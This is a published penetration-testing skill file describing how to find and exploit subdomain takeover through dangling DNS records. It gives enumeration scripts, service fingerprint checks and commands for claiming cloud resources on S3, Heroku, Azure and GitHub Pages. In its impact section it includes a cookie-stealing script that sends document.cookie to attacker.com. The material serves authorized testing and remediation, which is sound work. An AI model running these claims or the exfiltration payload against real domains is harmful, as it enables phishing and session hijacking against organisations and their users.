exploiting-subdomain-takeover-vulnerabilities

star 618

Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-subdomain-takeover-vulnerabilities description: Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • subdomain-takeover
  • dns
  • cloud-security
  • web-security
  • bug-bounty version: '1.0' author: xalgord license: Apache-2.0 nist_csf:
  • PR.PS-01
  • ID.RA-01
  • DE.CM-01

Exploiting Subdomain Takeover Vulnerabilities

When to Use

  • During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services
  • When cloud service endpoints return "not found" or "no such bucket" error pages
  • For assessing organizations with large subdomain footprints (100+ subdomains)
  • When evaluating DNS hygiene and decommissioned service cleanup
  • During bug bounty programs where subdomain takeover is in scope

How to CONFIRM a Hit (avoid false negatives)

  • Positive signal: the dangling CNAME/resource is actually claimable AND you serve your own content on it — confirm by claiming the resource with a benign canary and fetching the subdomain to see your marker, or by the third-party returning its specific unclaimed fingerprint.
  • A 404 or generic error is NOT proof. Many services return 404 while still being owned/unclaimable; match the exact service fingerprint from can-i-take-over-xyz.
  • Do NOT conclude "vulnerable" (or "safe") until you have:
    • Resolved the full CNAME chain (dig +short CNAME) — any hop could be the dangling one, and intermediate hops can mask the real target.
    • Matched the response against the service-specific fingerprint (NoSuchBucket, "There isn't a GitHub Pages site here", "No such app", Fastly/Shopify/Surge strings) rather than relying on status code alone.
    • Verified the service actually allows claiming that name now (some "vulnerable" fingerprints are no longer registrable — e.g. modern Azure/AWS require domain verification).
    • Performed the benign canary claim and confirmed your content is served over the real subdomain, then documented and cleaned up.
    • Assessed impact (cookie scope .target.com, OAuth redirect/CORS trust) so the finding reflects real risk, not just content control.

Critical False Positive: CloudFront in front of S3 (NoSuchBucket vs NoSuchKey)

A subdomain that CNAMEs to a CloudFront distribution (*.cloudfront.net) is not an S3 takeover just because <bucket>.s3.amazonaws.com returns NoSuchBucket. You are probing two different things:

  • <name>.s3.amazonaws.com → the global S3 namespace. NoSuchBucket here only means no bucket with that literal name currently exists in the global namespace. It says nothing about what CloudFront uses as its origin.
  • The CloudFront distribution itself → its configured origin bucket. Fetch the distribution (or the subdomain) directly and read the S3 error code in the body:
    • NoSuchBucket from the distribution → the origin may be dangling and potentially claimable.
    • NoSuchKey from the distribution → the origin bucket EXISTS (it just has no object at that key). This is NOT vulnerable. It is the normal response for an MTA-STS endpoint that only serves /.well-known/mta-sts.txt.

Even when the distribution returns NoSuchBucket, creating that bucket name in your own AWS account does not automatically attach it to someone else's CloudFront origin — CloudFront origins are bound to a specific bucket/account (and modern setups use OAC/OAI). Classic S3 takeover applies when a CNAME points directly at an S3 website endpoint (<bucket>.s3-website-<region>.amazonaws.com) returning NoSuchBucket, not when an S3 bucket sits behind CloudFront. Always confirm with a benign canary claim before reporting an S3/CloudFront takeover.

Prerequisites

  • Authorization: Written penetration testing agreement covering subdomain takeover testing
  • subjack: Subdomain takeover checker (go install github.com/haccer/subjack@latest)
  • nuclei: With takeover detection templates
  • can-i-take-over-xyz: Reference database of takeover-vulnerable services
  • subfinder/amass: For subdomain enumeration (prerequisite step)
  • dig/host: For DNS record analysis
  • Cloud accounts: AWS, Azure, GCP, Heroku, etc. for claiming unclaimed resources

Workflow

Step 1: Enumerate Subdomains and Collect DNS Records

Gather all subdomains and their DNS resolution data.

# Enumerate subdomains (should already be done in Phase 1)
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt

# Resolve all subdomains and collect CNAME records
echo "=== CNAME Records ==="
while read sub; do
  cname=$(dig +short CNAME "$sub" 2>/dev/null)
  if [ -n "$cname" ]; then
    echo "$sub -> $cname"
  fi
done < all-subs.txt | tee cname-records.txt

# Check for NXDOMAIN responses (dangling records)
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
  result=$(dig +short "$sub" 2>/dev/null)
  if [ -z "$result" ]; then
    cname=$(dig +short CNAME "$sub" 2>/dev/null)
    echo "DEAD: $sub (CNAME: ${cname:-none})"
  fi
done < all-subs.txt | tee dead-subs.txt

# Check HTTP responses for takeover indicators
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt

Step 2: Identify Takeover-Vulnerable Services

Match CNAME targets against known vulnerable service fingerprints.

# Automated takeover detection with subjack
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
  -c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
  -o subjack-results.txt -v

# Nuclei takeover detection
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
  -o nuclei-takeover.txt

# Manual fingerprint matching
# Check each CNAME target against known vulnerable patterns
while read line; do
  sub=$(echo "$line" | cut -d' ' -f1)
  cname=$(echo "$line" | cut -d' ' -f3)
  
  echo -n "$sub ($cname): "
  response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
  
  # AWS S3
  echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
  # GitHub Pages
  echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
  # Heroku
  echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" && continue
  # Azure
  echo "$response" | grep -qi "404 Web Site not found" && echo "POSSIBLE: Azure" && continue
  # Shopify
  echo "$response" | grep -qi "Sorry, this shop is currently unavailable" && echo "VULNERABLE: Shopify" && continue
  # Fastly
  echo "$response" | grep -qi "Fastly error: unknown domain" && echo "VULNERABLE: Fastly" && continue
  # Pantheon
  echo "$response" | grep -qi "404 error unknown site" && echo "VULNERABLE: Pantheon" && continue
  # Tumblr
  echo "$response" | grep -qi "There's nothing here\|tumblr.com" && echo "POSSIBLE: Tumblr" && continue
  # Unbounce
  echo "$response" | grep -qi "The requested URL was not found on this server" && echo "POSSIBLE: Unbounce" && continue
  # WordPress.com
  echo "$response" | grep -qi "Do you want to register" && echo "VULNERABLE: WordPress.com" && continue
  # Surge.sh
  echo "$response" | grep -qi "project not found" && echo "VULNERABLE: Surge.sh" && continue
  # Fly.io
  echo "$response" | grep -qi "404 Not Found.*fly" && echo "VULNERABLE: Fly.io" && continue
  # Netlify
  echo "$response" | grep -qi "Not Found - Request ID" && echo "POSSIBLE: Netlify" && continue
  # Zendesk
  echo "$response" | grep -qi "Help Center Closed\|Zendesk" && echo "POSSIBLE: Zendesk" && continue
  
  echo "NOT VULNERABLE or unknown service"
done < cname-records.txt

Step 3: Verify and Exploit Takeover (Service-Specific)

Claim the unclaimed resource on each vulnerable service.

# === AWS S3 BUCKET TAKEOVER ===
# If CNAME points to: targetbucket.s3.amazonaws.com
# And response is: NoSuchBucket

# Create the bucket in the same region
aws s3 mb s3://targetbucket --region us-east-1
# Upload proof page
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html

# Verify takeover
curl -s "http://SUBDOMAIN.target.com"

# === GITHUB PAGES TAKEOVER ===
# If CNAME points to: org.github.io
# Create repo named "org.github.io" (or matching CNAME)
# Add CNAME file with the subdomain name
# Push index.html with PoC content

# === HEROKU TAKEOVER ===
# If CNAME points to: appname.herokuapp.com
heroku create appname
# Deploy PoC page
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main

# === AZURE TAKEOVER ===
# If CNAME points to: appname.azurewebsites.net
# Create Azure Web App with matching name
az webapp create --resource-group myRG --plan myPlan --name appname

# === SHOPIFY TAKEOVER ===
# If CNAME points to: shops.myshopify.com
# Create a Shopify store and add the subdomain as custom domain

# === GENERAL VERIFICATION ===
# After claiming, verify the subdomain resolves to your content
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep "Takeover PoC"

Step 4: Assess Impact and Escalation Potential

Determine the real-world impact beyond just content control.

# === COOKIE SCOPE ANALYSIS ===
# Check if parent domain sets cookies visible to subdomains
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
# If cookies are set for .target.com (dot-prefix), 
# the taken-over subdomain can READ and STEAL them

# === SESSION HIJACKING VIA COOKIE THEFT ===
# If parent domain cookies scope to .target.com:
# Deploy JavaScript on taken-over subdomain:
# <script>document.location="https://attacker.com/steal?c="+document.cookie</script>

# === SPF/DMARC BYPASS CHECK ===
# Can the taken-over subdomain send emails as target.com?
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
# If SPF includes the cloud service IP ranges, emails from
# the taken-over subdomain may pass SPF validation

# === OAUTH/SSO REDIRECT CHECK ===
# Check if any OAuth flows use the taken-over subdomain as redirect_uri
# This could enable authorization code theft

# === CORS ORIGIN CHECK ===
# Test if the main application trusts the taken-over subdomain
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
  "https://api.target.com/data" | grep -i "access-control"
# If Access-Control-Allow-Origin reflects the subdomain → data theft possible

Step 5: Documentation and Cleanup

Document findings and clean up claimed resources.

# Take screenshots for proof
# Screenshot of DNS record showing CNAME
dig CNAME SUBDOMAIN.target.com

# Screenshot of taken-over page
curl -s "https://SUBDOMAIN.target.com"

# After reporting, CLEAN UP:
# S3: aws s3 rb s3://targetbucket --force
# Heroku: heroku apps:destroy appname --confirm appname
# GitHub: Delete the repository
# Azure: az webapp delete --name appname --resource-group myRG

Key Concepts

Concept Description
Dangling CNAME DNS CNAME record pointing to an unclaimed or decommissioned cloud service
Subdomain Takeover Claiming an unclaimed cloud resource that a subdomain's DNS points to
NXDOMAIN DNS response indicating the target hostname does not exist
Cookie Scope Cookies set for .domain.com are accessible to all subdomains
DNS Rebinding Related technique — changing DNS resolution to bypass same-origin policy
Stale DNS DNS records that remain after the underlying service is decommissioned
CNAME Chain Multiple CNAME hops where any link in the chain could be vulnerable

Tools & Systems

Tool Purpose
subjack Automated subdomain takeover vulnerability checker
nuclei Template-based takeover detection across 50+ services
can-i-take-over-xyz Reference database of vulnerable services and fingerprints
dnsreaper Subdomain takeover tool supporting multiple DNS providers
subzy Fast subdomain takeover checker with fingerprint database
dnsx Fast DNS resolution toolkit for bulk lookups
httpx HTTP probing with response fingerprinting

Common Scenarios

Scenario 1: Decommissioned S3 Bucket

Company migrated from S3 to CloudFront but forgot to remove the CNAME assets.target.com → target-assets.s3.amazonaws.com. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.

Scenario 2: Expired Heroku App with Cookie Theft

staging.target.com pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for .target.com, visiting staging.target.com exfiltrates session tokens.

Scenario 3: GitHub Pages Takeover for Phishing

docs.target.com CNAMEs to targetorg.github.io. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.

Output Format

## Subdomain Takeover Finding

**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)

### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served

### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin

### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-subdomain-takeover-vulnerabilities
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator